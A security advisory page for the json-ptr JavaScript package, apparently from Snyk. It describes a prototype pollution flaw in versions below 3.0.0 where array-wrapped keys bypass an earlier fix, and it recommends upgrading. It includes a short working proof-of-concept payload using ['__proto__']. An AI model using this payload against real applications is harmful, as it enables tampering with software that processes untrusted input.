json-ptr@2.2.1-master.0c06aa1 vulnerabilities

A complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

  • latest version

    3.1.1

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    2 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the json-ptr package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.

    PoC

    const { JsonPointer } = require("json-ptr");
    
    // JsonPointer.set({}, ['__proto__', 'polluted'], 'yes', true); 
    // console.log(polluted); // Error: Attempted prototype pollution disallowed.
    
    JsonPointer.set({}, [['__proto__'], 'polluted'], 'yes', true); 
    console.log(polluted); // yes
    

    How to fix Prototype Pollution?

    Upgrade json-ptr to version 3.0.0 or higher.

    <3.0.0